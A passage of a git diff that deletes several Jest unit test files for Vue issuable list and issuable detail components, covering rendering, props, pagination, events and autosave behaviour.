- 'data-user-id': `${wrapper.vm.authorId}`,
- 'data-username': mockAuthor.username,
- 'data-name': mockAuthor.name,
- 'data-avatar-url': mockAuthor.avatarUrl,
- href: mockAuthor.webUrl,
- });
- expect(authorEl.text()).toBe(mockAuthor.name);
- });
-
- it('renders issuable author info via slot', () => {
- const wrapperWithAuthorSlot = createComponent({
- issuableSymbol: '#',
- issuable: mockIssuable,
- slots: {
- reference: `
- <span class="js-author">${mockAuthor.name}</span>
- `,
- },
- });
- const authorEl = wrapperWithAuthorSlot.find('.js-author');
-
- expect(authorEl.exists()).toBe(true);
- expect(authorEl.text()).toBe(mockAuthor.name);
-
- wrapperWithAuthorSlot.destroy();
- });
-
- it('renders timeframe via slot', () => {
- const wrapperWithTimeframeSlot = createComponent({
- issuableSymbol: '#',
- issuable: mockIssuable,
- slots: {
- timeframe: `
- <b class="js-timeframe">Jan 1, 2020 - Mar 31, 2020</b>
- `,
- },
- });
- const timeframeEl = wrapperWithTimeframeSlot.find('.js-timeframe');
-
- expect(timeframeEl.exists()).toBe(true);
- expect(timeframeEl.text()).toBe('Jan 1, 2020 - Mar 31, 2020');
-
- wrapperWithTimeframeSlot.destroy();
- });
-
- it('renders gl-label component for each label present within `issuable` prop', () => {
- const labelsEl = wrapper.findAll(GlLabel);
-
- expect(labelsEl.exists()).toBe(true);
- expect(labelsEl).toHaveLength(mockLabels.length);
- expect(labelsEl.at(0).props()).toMatchObject({
- backgroundColor: mockLabels[0].color,
- title: mockLabels[0].title,
- description: mockLabels[0].description,
- scoped: false,
- target: wrapper.vm.labelTarget(mockLabels[0]),
- size: 'sm',
- });
- });
-
- it('renders issuable status via slot', () => {
- const wrapperWithStatusSlot = createComponent({
- issuableSymbol: '#',
- issuable: mockIssuable,
- slots: {
- status: `
- <b class="js-status">${mockIssuable.state}</b>
- `,
- },
- });
- const statusEl = wrapperWithStatusSlot.find('.js-status');
-
- expect(statusEl.exists()).toBe(true);
- expect(statusEl.text()).toBe(`${mockIssuable.state}`);
-
- wrapperWithStatusSlot.destroy();
- });
-
- it('renders discussions count', () => {
- const discussionsEl = wrapper.find('[data-testid="issuable-discussions"]');
-
- expect(discussionsEl.exists()).toBe(true);
- expect(discussionsEl.find(GlLink).attributes()).toMatchObject({
- title: 'Comments',
- href: `${mockIssuable.webUrl}#notes`,
- });
- expect(discussionsEl.find(GlIcon).props('name')).toBe('comments');
- expect(discussionsEl.find(GlLink).text()).toContain('2');
- });
-
- it('renders issuable-assignees component', () => {
- const assigneesEl = wrapper.find(IssuableAssignees);
-
- expect(assigneesEl.exists()).toBe(true);
- expect(assigneesEl.props()).toMatchObject({
- assignees: mockIssuable.assignees,
- iconSize: 16,
- maxVisible: 4,
- });
- });
-
- it('renders issuable updatedAt info', () => {
- const updatedAtEl = wrapper.find('[data-testid="issuable-updated-at"]');
-
- expect(updatedAtEl.attributes('title')).toBe('Sep 10, 2020 11:41am UTC');
- expect(updatedAtEl.text()).toBe(wrapper.vm.updatedAt);
- });
-
- describe('when issuable is closed', () => {
- it('renders issuable card with a closed style', () => {
- wrapper = createComponent({ issuable: { ...mockIssuable, closedAt: '2020-12-10' } });
-
- expect(wrapper.classes()).toContain('closed');
- });
- });
-
- describe('when issuable was created within the past 24 hours', () => {
- it('renders issuable card with a recently-created style', () => {
- wrapper = createComponent({
- issuable: { ...mockIssuable, createdAt: '2020-12-10T12:34:56' },
- });
-
- expect(wrapper.classes()).toContain('today');
- });
- });
-
- describe('when issuable was created earlier than the past 24 hours', () => {
- it('renders issuable card without a recently-created style', () => {
- wrapper = createComponent({ issuable: { ...mockIssuable, createdAt: '2020-12-09' } });
-
- expect(wrapper.classes()).not.toContain('today');
- });
- });
- });
-});
diff --git a/spec/frontend/issuable_list/components/issuable_list_root_spec.js b/spec/frontend/issuable_list/components/issuable_list_root_spec.js
deleted file mode 100644
index 7dddd2c3405..00000000000
--- a/spec/frontend/issuable_list/components/issuable_list_root_spec.js
+++ /dev/null
@@ -1,454 +0,0 @@
-import { GlKeysetPagination, GlSkeletonLoading, GlPagination } from '@gitlab/ui';
-import { shallowMount } from '@vue/test-utils';
-import VueDraggable from 'vuedraggable';
-
-import { TEST_HOST } from 'helpers/test_constants';
-
-import IssuableItem from '~/issuable_list/components/issuable_item.vue';
-import IssuableListRoot from '~/issuable_list/components/issuable_list_root.vue';
-import IssuableTabs from '~/issuable_list/components/issuable_tabs.vue';
-import FilteredSearchBar from '~/vue_shared/components/filtered_search_bar/filtered_search_bar_root.vue';
-
-import { mockIssuableListProps, mockIssuables } from '../mock_data';
-
-const createComponent = ({ props = {}, data = {} } = {}) =>
- shallowMount(IssuableListRoot, {
- propsData: {
- ...mockIssuableListProps,
- ...props,
- },
- data() {
- return data;
- },
- slots: {
- 'nav-actions': `
- <button class="js-new-issuable">New issuable</button>
- `,
- 'empty-state': `
- <p class="js-issuable-empty-state">Issuable empty state</p>
- `,
- },
- stubs: {
- IssuableTabs,
- },
- });
-
-describe('IssuableListRoot', () => {
- let wrapper;
-
- const findFilteredSearchBar = () => wrapper.findComponent(FilteredSearchBar);
- const findGlKeysetPagination = () => wrapper.findComponent(GlKeysetPagination);
- const findGlPagination = () => wrapper.findComponent(GlPagination);
- const findIssuableItem = () => wrapper.findComponent(IssuableItem);
- const findIssuableTabs = () => wrapper.findComponent(IssuableTabs);
- const findVueDraggable = () => wrapper.findComponent(VueDraggable);
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- describe('computed', () => {
- beforeEach(() => {
- wrapper = createComponent();
- });
-
- const mockCheckedIssuables = {
- [mockIssuables[0].iid]: { checked: true, issuable: mockIssuables[0] },
- [mockIssuables[1].iid]: { checked: true, issuable: mockIssuables[1] },
- [mockIssuables[2].iid]: { checked: true, issuable: mockIssuables[2] },
- };
-
- const mIssuables = [mockIssuables[0], mockIssuables[1], mockIssuables[2]];
-
- describe('skeletonItemCount', () => {
- it.each`
- totalItems | defaultPageSize | currentPage | returnValue
- ${100} | ${20} | ${1} | ${20}
- ${105} | ${20} | ${6} | ${5}
- ${7} | ${20} | ${1} | ${7}
- ${0} | ${20} | ${1} | ${5}
- `(
- 'returns $returnValue when totalItems is $totalItems, defaultPageSize is $defaultPageSize and currentPage is $currentPage',
- async ({ totalItems, defaultPageSize, currentPage, returnValue }) => {
- wrapper.setProps({
- totalItems,
- defaultPageSize,
- currentPage,
- });
-
- await wrapper.vm.$nextTick();
-
- expect(wrapper.vm.skeletonItemCount).toBe(returnValue);
- },
- );
- });
-
- describe('allIssuablesChecked', () => {
- it.each`
- checkedIssuables | issuables | specTitle | returnValue
- ${mockCheckedIssuables} | ${mIssuables} | ${'same as'} | ${true}
- ${{}} | ${mIssuables} | ${'not same as'} | ${false}
- `(
- 'returns $returnValue when bulkEditIssuables count is $specTitle issuables count',
- async ({ checkedIssuables, issuables, returnValue }) => {
- wrapper.setProps({
- issuables,
- });
-
- await wrapper.vm.$nextTick();
-
- wrapper.setData({
- checkedIssuables,
- });
-
- await wrapper.vm.$nextTick();
-
- expect(wrapper.vm.allIssuablesChecked).toBe(returnValue);
- },
- );
- });
-
- describe('bulkEditIssuables', () => {
- it('returns array of issuables which have `checked` set to true within checkedIssuables map', async () => {
- wrapper.setData({
- checkedIssuables: mockCheckedIssuables,
- });
-
- await wrapper.vm.$nextTick();
-
- expect(wrapper.vm.bulkEditIssuables).toHaveLength(mIssuables.length);
- });
- });
- });
-
- describe('watch', () => {
- beforeEach(() => {
- wrapper = createComponent();
- });
-
- describe('issuables', () => {
- it('populates `checkedIssuables` prop with all issuables', async () => {
- wrapper.setProps({
- issuables: [mockIssuables[0]],
- });
-
- await wrapper.vm.$nextTick();
-
- expect(Object.keys(wrapper.vm.checkedIssuables)).toHaveLength(1);
- expect(wrapper.vm.checkedIssuables[mockIssuables[0].iid]).toEqual({
- checked: false,
- issuable: mockIssuables[0],
- });
- });
- });
-
- describe('urlParams', () => {
- it('updates window URL reflecting props within `urlParams`', async () => {
- const urlParams = {
- state: 'closed',
- sort: 'updated_asc',
- page: 1,
- search: 'foo',
- };
-
- wrapper.setProps({
- urlParams,
- });
-
- await wrapper.vm.$nextTick();
-
- expect(global.window.location.href).toBe(
- `${TEST_HOST}/?state=${urlParams.state}&sort=${urlParams.sort}&page=${urlParams.page}&search=${urlParams.search}`,
- );
- });
- });
- });
-
- describe('methods', () => {
- beforeEach(() => {
- wrapper = createComponent();
- });
-
- describe('issuableId', () => {
- it('returns id value from provided issuable object', () => {
- expect(wrapper.vm.issuableId({ id: 1 })).toBe(1);
- expect(wrapper.vm.issuableId({ iid: 1 })).toBe(1);
- expect(wrapper.vm.issuableId({})).toBeDefined();
- });
- });
-
- describe('issuableChecked', () => {
- it('returns boolean value representing checked status of issuable item', async () => {
- wrapper.setData({
- checkedIssuables: {
- [mockIssuables[0].iid]: { checked: true, issuable: mockIssuables[0] },
- },
- });
-
- await wrapper.vm.$nextTick();
-
- expect(wrapper.vm.issuableChecked(mockIssuables[0])).toBe(true);
- });
- });
- });
-
- describe('template', () => {
- it('renders component container element with class "issuable-list-container"', () => {
- wrapper = createComponent();
-
- expect(wrapper.classes()).toContain('issuable-list-container');
- });
-
- it('renders issuable-tabs component', () => {
- wrapper = createComponent();
-
- const tabsEl = findIssuableTabs();
-
- expect(tabsEl.exists()).toBe(true);
- expect(tabsEl.props()).toMatchObject({
- tabs: wrapper.vm.tabs,
- tabCounts: wrapper.vm.tabCounts,
- currentTab: wrapper.vm.currentTab,
- });
- });
-
- it('renders contents for slot "nav-actions" within issuable-tab component', () => {
- wrapper = createComponent();
-
- const buttonEl = findIssuableTabs().find('button.js-new-issuable');
-
- expect(buttonEl.exists()).toBe(true);
- expect(buttonEl.text()).toBe('New issuable');
- });
-
- it('renders filtered-search-bar component', () => {
- wrapper = createComponent();
-
- const searchEl = findFilteredSearchBar();
- const {
- namespace,
- recentSearchesStorageKey,
- searchInputPlaceholder,
- searchTokens,
- sortOptions,
- initialFilterValue,
- initialSortBy,
- } = wrapper.vm;
-
- expect(searchEl.exists()).toBe(true);
- expect(searchEl.props()).toMatchObject({
- namespace,
- recentSearchesStorageKey,
- searchInputPlaceholder,
- tokens: searchTokens,
- sortOptions,
- initialFilterValue,
- initialSortBy,
- });
- });
-
- it('renders gl-loading-icon when `issuablesLoading` prop is true', () => {
- wrapper = createComponent({ props: { issuablesLoading: true } });
-
- expect(wrapper.findAllComponents(GlSkeletonLoading)).toHaveLength(
- wrapper.vm.skeletonItemCount,
- );
- });
-
- it('renders issuable-item component for each item within `issuables` array', () => {
- wrapper = createComponent();
-
- const itemsEl = wrapper.findAllComponents(IssuableItem);
- const mockIssuable = mockIssuableListProps.issuables[0];
-
- expect(itemsEl).toHaveLength(mockIssuableListProps.issuables.length);
- expect(itemsEl.at(0).props()).toMatchObject({
- issuableSymbol: wrapper.vm.issuableSymbol,
- issuable: mockIssuable,
- });
- });
-
- it('renders contents for slot "empty-state" when `issuablesLoading` is false and `issuables` is empty', () => {
- wrapper = createComponent({ props: { issuables: [] } });
-
- expect(wrapper.find('p.js-issuable-empty-state').exists()).toBe(true);
- expect(wrapper.find('p.js-issuable-empty-state').text()).toBe('Issuable empty state');
- });
-
- it('renders only gl-pagination when `showPaginationControls` prop is true', () => {
- wrapper = createComponent({
- props: {
- showPaginationControls: true,
- totalItems: 10,
- },
- });
-
- expect(findGlKeysetPagination().exists()).toBe(false);
- expect(findGlPagination().props()).toMatchObject({
- perPage: 20,
- value: 1,
- prevPage: 0,
- nextPage: 2,
- totalItems: 10,
- align: 'center',
- });
- });
-
- it('renders only gl-keyset-pagination when `showPaginationControls` and `useKeysetPagination` props are true', () => {
- wrapper = createComponent({
- props: {
- hasNextPage: true,
- hasPreviousPage: true,
- showPaginationControls: true,
- useKeysetPagination: true,
- },
- });
-
- expect(findGlPagination().exists()).toBe(false);
- expect(findGlKeysetPagination().props()).toMatchObject({
- hasNextPage: true,
- hasPreviousPage: true,
- });
- });
- });
-
- describe('events', () => {
- const data = {
- checkedIssuables: {
- [mockIssuables[0].iid]: { checked: true, issuable: mockIssuables[0] },
- },
- };
-
- it('issuable-tabs component emits `click-tab` event on `click-tab` event', () => {
- wrapper = createComponent({ data });
-
- findIssuableTabs().vm.$emit('click');
-
- expect(wrapper.emitted('click-tab')).toBeTruthy();
- });
-
- it('sets all issuables as checked when filtered-search-bar component emits `checked-input` event', () => {
- wrapper = createComponent({ data });
-
- const searchEl = findFilteredSearchBar();
-
- searchEl.vm.$emit('checked-input', true);
-
- expect(searchEl.emitted('checked-input')).toBeTruthy();
- expect(searchEl.emitted('checked-input').length).toBe(1);
-
- expect(wrapper.vm.checkedIssuables[mockIssuables[0].iid]).toEqual({
- checked: true,
- issuable: mockIssuables[0],
- });
- });
-
- it('filtered-search-bar component emits `filter` event on `onFilter` & `sort` event on `onSort` events', () => {
- wrapper = createComponent({ data });
-
- const searchEl = findFilteredSearchBar();
-
- searchEl.vm.$emit('onFilter');
- expect(wrapper.emitted('filter')).toBeTruthy();
- searchEl.vm.$emit('onSort');
- expect(wrapper.emitted('sort')).toBeTruthy();
- });
-
- it('sets an issuable as checked when issuable-item component emits `checked-input` event', () => {
- wrapper = createComponent({ data });
-
- const issuableItem = wrapper.findAllComponents(IssuableItem).at(0);
-
- issuableItem.vm.$emit('checked-input', true);
-
- expect(issuableItem.emitted('checked-input')).toBeTruthy();
- expect(issuableItem.emitted('checked-input').length).toBe(1);
-
- expect(wrapper.vm.checkedIssuables[mockIssuables[0].iid]).toEqual({
- checked: true,
- issuable: mockIssuables[0],
- });
- });
-
- it('emits `update-legacy-bulk-edit` when filtered-search-bar checkbox is checked', () => {
- wrapper = createComponent({ data });
-
- findFilteredSearchBar().vm.$emit('checked-input');
-
- expect(wrapper.emitted('update-legacy-bulk-edit')).toEqual([[]]);
- });
-
- it('emits `update-legacy-bulk-edit` when issuable-item checkbox is checked', () => {
- wrapper = createComponent({ data });
-
- findIssuableItem().vm.$emit('checked-input');
-
- expect(wrapper.emitted('update-legacy-bulk-edit')).toEqual([[]]);
- });
-
- it('gl-pagination component emits `page-change` event on `input` event', () => {
- wrapper = createComponent({ data, props: { showPaginationControls: true } });
-
- findGlPagination().vm.$emit('input');
- expect(wrapper.emitted('page-change')).toBeTruthy();
- });
-
- it.each`
- event | glKeysetPaginationEvent
- ${'next-page'} | ${'next'}
- ${'previous-page'} | ${'prev'}
- `(
- 'emits `$event` event when gl-keyset-pagination emits `$glKeysetPaginationEvent` event',
- ({ event, glKeysetPaginationEvent }) => {
- wrapper = createComponent({
- data,
- props: { showPaginationControls: true, useKeysetPagination: true },
- });
-
- findGlKeysetPagination().vm.$emit(glKeysetPaginationEvent);
-
- expect(wrapper.emitted(event)).toEqual([[]]);
- },
- );
- });
-
- describe('manual sorting', () => {
- describe('when enabled', () => {
- beforeEach(() => {
- wrapper = createComponent({
- props: {
- ...mockIssuableListProps,
- isManualOrdering: true,
- },
- });
- });
-
- it('renders VueDraggable component', () => {
- expect(findVueDraggable().exists()).toBe(true);
- });
-
- it('IssuableItem has grab cursor', () => {
- expect(findIssuableItem().classes()).toContain('gl-cursor-grab');
- });
-
- it('emits a "reorder" event when user updates the issue order', () => {
- const oldIndex = 4;
- const newIndex = 6;
-
- findVueDraggable().vm.$emit('update', { oldIndex, newIndex });
-
- expect(wrapper.emitted('reorder')).toEqual([[{ oldIndex, newIndex }]]);
- });
- });
-
- describe('when disabled', () => {
- beforeEach(() => {
- wrapper = createComponent();
- });
-
- it('does not render VueDraggable component', () => {
- expect(findVueDraggable().exists()).toBe(false);
- });
- });
- });
-});
diff --git a/spec/frontend/issuable_list/components/issuable_tabs_spec.js b/spec/frontend/issuable_list/components/issuable_tabs_spec.js
deleted file mode 100644
index cbf5765078a..00000000000
--- a/spec/frontend/issuable_list/components/issuable_tabs_spec.js
+++ /dev/null
@@ -1,96 +0,0 @@
-import { GlTab, GlBadge } from '@gitlab/ui';
-import { mount } from '@vue/test-utils';
-
-import IssuableTabs from '~/issuable_list/components/issuable_tabs.vue';
-
-import { mockIssuableListProps } from '../mock_data';
-
-const createComponent = ({
- tabs = mockIssuableListProps.tabs,
- tabCounts = mockIssuableListProps.tabCounts,
- currentTab = mockIssuableListProps.currentTab,
-} = {}) =>
- mount(IssuableTabs, {
- propsData: {
- tabs,
- tabCounts,
- currentTab,
- },
- slots: {
- 'nav-actions': `
- <button class="js-new-issuable">New issuable</button>
- `,
- },
- });
-
-describe('IssuableTabs', () => {
- let wrapper;
-
- beforeEach(() => {
- wrapper = createComponent();
- });
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- const findAllGlBadges = () => wrapper.findAllComponents(GlBadge);
- const findAllGlTabs = () => wrapper.findAllComponents(GlTab);
-
- describe('methods', () => {
- describe('isTabActive', () => {
- it.each`
- tabName | currentTab | returnValue
- ${'opened'} | ${'opened'} | ${true}
- ${'opened'} | ${'closed'} | ${false}
- `(
- 'returns $returnValue when tab name is "$tabName" is current tab is "$currentTab"',
- async ({ tabName, currentTab, returnValue }) => {
- wrapper.setProps({
- currentTab,
- });
-
- await wrapper.vm.$nextTick();
-
- expect(wrapper.vm.isTabActive(tabName)).toBe(returnValue);
- },
- );
- });
- });
-
- describe('template', () => {
- it('renders gl-tab for each tab within `tabs` array', () => {
- const tabsEl = findAllGlTabs();
-
- expect(tabsEl.exists()).toBe(true);
- expect(tabsEl).toHaveLength(mockIssuableListProps.tabs.length);
- });
-
- it('renders gl-badge component within a tab', () => {
- const badges = findAllGlBadges();
-
- // Does not render `All` badge since it has an undefined count
- expect(badges).toHaveLength(2);
- expect(badges.at(0).text()).toBe(`${mockIssuableListProps.tabCounts.opened}`);
- expect(badges.at(1).text()).toBe(`${mockIssuableListProps.tabCounts.closed}`);
- });
-
- it('renders contents for slot "nav-actions"', () => {
- const buttonEl = wrapper.find('button.js-new-issuable');
-
- expect(buttonEl.exists()).toBe(true);
- expect(buttonEl.text()).toBe('New issuable');
- });
- });
-
- describe('events', () => {
- it('gl-tab component emits `click` event on `click` event', () => {
- const tabEl = findAllGlTabs().at(0);
-
- tabEl.vm.$emit('click', 'opened');
-
- expect(wrapper.emitted('click')).toBeTruthy();
- expect(wrapper.emitted('click')[0]).toEqual(['opened']);
- });
- });
-});
diff --git a/spec/frontend/issuable_show/components/issuable_body_spec.js b/spec/frontend/issuable_show/components/issuable_body_spec.js
deleted file mode 100644
index 6fa298ca3f2..00000000000
--- a/spec/frontend/issuable_show/components/issuable_body_spec.js
+++ /dev/null
@@ -1,236 +0,0 @@
-import { shallowMount } from '@vue/test-utils';
-import { useFakeDate } from 'helpers/fake_date';
-
-import IssuableBody from '~/issuable_show/components/issuable_body.vue';
-
-import IssuableDescription from '~/issuable_show/components/issuable_description.vue';
-import IssuableEditForm from '~/issuable_show/components/issuable_edit_form.vue';
-import IssuableTitle from '~/issuable_show/components/issuable_title.vue';
-import TaskList from '~/task_list';
-import TimeAgoTooltip from '~/vue_shared/components/time_ago_tooltip.vue';
-
-import { mockIssuableShowProps, mockIssuable } from '../mock_data';
-
-jest.mock('~/autosave');
-jest.mock('~/flash');
-
-const issuableBodyProps = {
- ...mockIssuableShowProps,
- issuable: mockIssuable,
-};
-
-const createComponent = (propsData = issuableBodyProps) =>
- shallowMount(IssuableBody, {
- propsData,
- stubs: {
- IssuableTitle,
- IssuableDescription,
- IssuableEditForm,
- TimeAgoTooltip,
- },
- slots: {
- 'status-badge': 'Open',
- 'edit-form-actions': `
- <button class="js-save">Save changes</button>
- <button class="js-cancel">Cancel</button>
- `,
- },
- });
-
-describe('IssuableBody', () => {
- // Some assertions expect a date later than our default
- useFakeDate(2020, 11, 11);
-
- let wrapper;
-
- beforeEach(() => {
- wrapper = createComponent();
- });
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- describe('computed', () => {
- describe('isUpdated', () => {
- it.each`
- updatedAt | returnValue
- ${mockIssuable.updatedAt} | ${true}
- ${null} | ${false}
- ${''} | ${false}
- `(
- 'returns $returnValue when value of `updateAt` prop is `$updatedAt`',
- async ({ updatedAt, returnValue }) => {
- wrapper.setProps({
- issuable: {
- ...mockIssuable,
- updatedAt,
- },
- });
-
- await wrapper.vm.$nextTick();
-
- expect(wrapper.vm.isUpdated).toBe(returnValue);
- },
- );
- });
-
- describe('updatedBy', () => {
- it('returns value of `issuable.updatedBy`', () => {
- expect(wrapper.vm.updatedBy).toBe(mockIssuable.updatedBy);
- });
- });
- });
-
- describe('watchers', () => {
- describe('editFormVisible', () => {
- it('calls initTaskList in nextTick', async () => {
- jest.spyOn(wrapper.vm, 'initTaskList');
- wrapper.setProps({
- editFormVisible: true,
- });
-
- await wrapper.vm.$nextTick();
-
- wrapper.setProps({
- editFormVisible: false,
- });
-
- await wrapper.vm.$nextTick();
-
- expect(wrapper.vm.initTaskList).toHaveBeenCalled();
- });
- });
- });
-
- describe('mounted', () => {
- it('initializes TaskList instance when enabledEdit and enableTaskList props are true', () => {
- expect(wrapper.vm.taskList instanceof TaskList).toBe(true);
- expect(wrapper.vm.taskList).toMatchObject({
- dataType: 'issue',
- fieldName: 'description',
- lockVersion: issuableBodyProps.taskListLockVersion,
- selector: '.js-detail-page-description',
- onSuccess: expect.any(Function),
- onError: expect.any(Function),
- });
- });
-
- it('does not initialize TaskList instance when either enabledEdit or enableTaskList prop is false', () => {
- const wrapperNoTaskList = createComponent({
- ...issuableBodyProps,
- enableTaskList: false,
- });
-
- expect(wrapperNoTaskList.vm.taskList).not.toBeDefined();
-
- wrapperNoTaskList.destroy();
- });
- });
-
- describe('methods', () => {
- describe('handleTaskListUpdateSuccess', () => {
- it('emits `task-list-update-success` event on component', () => {
- const updatedIssuable = {
- foo: 'bar',
- };
-
- wrapper.vm.handleTaskListUpdateSuccess(updatedIssuable);
-
- expect(wrapper.emitted('task-list-update-success')).toBeTruthy();
- expect(wrapper.emitted('task-list-update-success')[0]).toEqual([updatedIssuable]);
- });
- });
-
- describe('handleTaskListUpdateFailure', () => {
- it('emits `task-list-update-failure` event on component', () => {
- wrapper.vm.handleTaskListUpdateFailure();
-
- expect(wrapper.emitted('task-list-update-failure')).toBeTruthy();
- });
- });
- });
-
- describe('template', () => {
- it('renders issuable-title component', () => {
- const titleEl = wrapper.find(IssuableTitle);
-
- expect(titleEl.exists()).toBe(true);
- expect(titleEl.props()).toMatchObject({
- issuable: issuableBodyProps.issuable,
- statusBadgeClass: issuableBodyProps.statusBadgeClass,
- statusIcon: issuableBodyProps.statusIcon,
- enableEdit: issuableBodyProps.enableEdit,
- });
- });
-
- it('renders issuable-description component', () => {
- const descriptionEl = wrapper.find(IssuableDescription);
-
- expect(descriptionEl.exists()).toBe(true);
- expect(descriptionEl.props('issuable')).toEqual(issuableBodyProps.issuable);
- });
-
- it('renders issuable edit info', () => {
- const editedEl = wrapper.find('small');
-
- expect(editedEl.text()).toMatchInterpolatedText('Edited 3 months ago by Administrator');
- });
-
- it('renders issuable-edit-form when `editFormVisible` prop is true', async () => {
- wrapper.setProps({
- editFormVisible: true,
- });
-
- await wrapper.vm.$nextTick();
-
- const editFormEl = wrapper.find(IssuableEditForm);
- expect(editFormEl.exists()).toBe(true);
- expect(editFormEl.props()).toMatchObject({
- issuable: issuableBodyProps.issuable,
- enableAutocomplete: issuableBodyProps.enableAutocomplete,
- descriptionPreviewPath: issuableBodyProps.descriptionPreviewPath,
- descriptionHelpPath: issuableBodyProps.descriptionHelpPath,
- });
- expect(editFormEl.find('button.js-save').exists()).toBe(true);
- expect(editFormEl.find('button.js-cancel').exists()).toBe(true);
- });
-
- describe('events', () => {
- it('component emits `edit-issuable` event bubbled via issuable-title', () => {
- const issuableTitle = wrapper.find(IssuableTitle);
-
- issuableTitle.vm.$emit('edit-issuable');
-
- expect(wrapper.emitted('edit-issuable')).toBeTruthy();
- });
-
- it.each(['keydown-title', 'keydown-description'])(
- 'component emits `%s` event with event object and issuableMeta params via issuable-edit-form',
- async (eventName) => {
- const eventObj = {
- preventDefault: jest.fn(),
- stopPropagation: jest.fn(),
- };
- const issuableMeta = {
- issuableTitle: 'foo',
- issuableDescription: 'foobar',
- };
-
- wrapper.setProps({
- editFormVisible: true,
- });
-
- await wrapper.vm.$nextTick();
-
- const issuableEditForm = wrapper.find(IssuableEditForm);
-
- issuableEditForm.vm.$emit(eventName, eventObj, issuableMeta);
-
- expect(wrapper.emitted(eventName)).toBeTruthy();
- expect(wrapper.emitted(eventName)[0]).toMatchObject([eventObj, issuableMeta]);
- },
- );
- });
- });
-});
diff --git a/spec/frontend/issuable_show/components/issuable_description_spec.js b/spec/frontend/issuable_show/components/issuable_description_spec.js
deleted file mode 100644
index 1058e5decfd..00000000000
--- a/spec/frontend/issuable_show/components/issuable_description_spec.js
+++ /dev/null
@@ -1,69 +0,0 @@
-import { shallowMount } from '@vue/test-utils';
-import $ from 'jquery';
-
-import IssuableDescription from '~/issuable_show/components/issuable_description.vue';
-
-import { mockIssuable } from '../mock_data';
-
-const createComponent = ({
- issuable = mockIssuable,
- enableTaskList = true,
- canEdit = true,
- taskListUpdatePath = `${mockIssuable.webUrl}.json`,
-} = {}) =>
- shallowMount(IssuableDescription, {
- propsData: { issuable, enableTaskList, canEdit, taskListUpdatePath },
- });
-
-describe('IssuableDescription', () => {
- let renderGFMSpy;
- let wrapper;
-
- beforeEach(() => {
- renderGFMSpy = jest.spyOn($.fn, 'renderGFM');
- wrapper = createComponent();
- });
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- describe('mounted', () => {
- it('calls `renderGFM`', () => {
- expect(renderGFMSpy).toHaveBeenCalledTimes(1);
- });
- });
-
- describe('methods', () => {
- describe('renderGFM', () => {
- it('calls `renderGFM` on container element', () => {
- wrapper.vm.renderGFM();
-
- expect(renderGFMSpy).toHaveBeenCalled();
- });
- });
- });
-
- describe('templates', () => {
- it('renders container element with class `js-task-list-container` when canEdit and enableTaskList props are true', () => {
- expect(wrapper.classes()).toContain('js-task-list-container');
- });
-
- it('renders container element without class `js-task-list-container` when canEdit and enableTaskList props are true', () => {
- const wrapperNoTaskList = createComponent({
- enableTaskList: false,
- });
-
- expect(wrapperNoTaskList.classes()).not.toContain('js-task-list-container');
-
- wrapperNoTaskList.destroy();
- });
-
- it('renders hidden textarea element when issuable.description is present and enableTaskList prop is true', () => {
- const textareaEl = wrapper.find('textarea.gl-display-none.js-task-list-field');
-
- expect(textareaEl.exists()).toBe(true);
- expect(textareaEl.attributes('data-update-url')).toBe(`${mockIssuable.webUrl}.json`);
- });
- });
-});
diff --git a/spec/frontend/issuable_show/components/issuable_edit_form_spec.js b/spec/frontend/issuable_show/components/issuable_edit_form_spec.js
deleted file mode 100644
index 184c9fe251c..00000000000
--- a/spec/frontend/issuable_show/components/issuable_edit_form_spec.js
+++ /dev/null
@@ -1,193 +0,0 @@
-import { GlFormInput } from '@gitlab/ui';
-import { shallowMount } from '@vue/test-utils';
-
-import IssuableEditForm from '~/issuable_show/components/issuable_edit_form.vue';
-import IssuableEventHub from '~/issuable_show/event_hub';
-import MarkdownField from '~/vue_shared/components/markdown/field.vue';
-
-import { mockIssuableShowProps, mockIssuable } from '../mock_data';
-
-const issuableEditFormProps = {
- issuable: mockIssuable,
- ...mockIssuableShowProps,
-};
-
-const createComponent = ({ propsData = issuableEditFormProps } = {}) =>
- shallowMount(IssuableEditForm, {
- propsData,
- stubs: {
- MarkdownField,
- },
- slots: {
- 'edit-form-actions': `
- <button class="js-save">Save changes</button>
- <button class="js-cancel">Cancel</button>
- `,
- },
- });
-
-describe('IssuableEditForm', () => {
- let wrapper;
- const assertEvent = (eventSpy) => {
- expect(eventSpy).toHaveBeenNthCalledWith(1, 'update.issuable', expect.any(Function));
- expect(eventSpy).toHaveBeenNthCalledWith(2, 'close.form', expect.any(Function));
- };
-
- beforeEach(() => {
- wrapper = createComponent();
- });
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- describe('watch', () => {
- describe('issuable', () => {
- it('sets title and description to `issuable.title` and `issuable.description` when those values are available', async () => {
- wrapper.setProps({
- issuable: {
- ...issuableEditFormProps.issuable,
- title: 'Foo',
- description: 'Foobar',
- },
- });
-
- await wrapper.vm.$nextTick();
-
- expect(wrapper.vm.title).toBe('Foo');
- expect(wrapper.vm.description).toBe('Foobar');
- });
-
- it('sets title and description to empty string when `issuable.title` and `issuable.description` is unavailable', async () => {
- wrapper.setProps({
- issuable: {
- ...issuableEditFormProps.issuable,
- title: null,
- description: null,
- },
- });
-
- await wrapper.vm.$nextTick();
-
- expect(wrapper.vm.title).toBe('');
- expect(wrapper.vm.description).toBe('');
- });
- });
- });
-
- describe('created', () => {
- it('binds `update.issuable` and `close.form` event listeners', () => {
- const eventOnSpy = jest.spyOn(IssuableEventHub, '$on');
- const wrapperTemp = createComponent();
-
- assertEvent(eventOnSpy);
-
- wrapperTemp.destroy();
- });
- });
-
- describe('beforeDestroy', () => {
- it('unbinds `update.issuable` and `close.form` event listeners', () => {
- const wrapperTemp = createComponent();
- const eventOffSpy = jest.spyOn(IssuableEventHub, '$off');
-
- wrapperTemp.destroy();
-
- assertEvent(eventOffSpy);
- });
- });
-
- describe('methods', () => {
- describe('initAutosave', () => {
- it('initializes `autosaveTitle` and `autosaveDescription` props', () => {
- expect(wrapper.vm.autosaveTitle).toBeDefined();
- expect(wrapper.vm.autosaveDescription).toBeDefined();
- });
- });
-
- describe('resetAutosave', () => {
- it('calls `reset` on `autosaveTitle` and `autosaveDescription` props', () => {
- jest.spyOn(wrapper.vm.autosaveTitle, 'reset').mockImplementation(jest.fn);
- jest.spyOn(wrapper.vm.autosaveDescription, 'reset').mockImplementation(jest.fn);
-
- wrapper.vm.resetAutosave();
-
- expect(wrapper.vm.autosaveTitle.reset).toHaveBeenCalled();
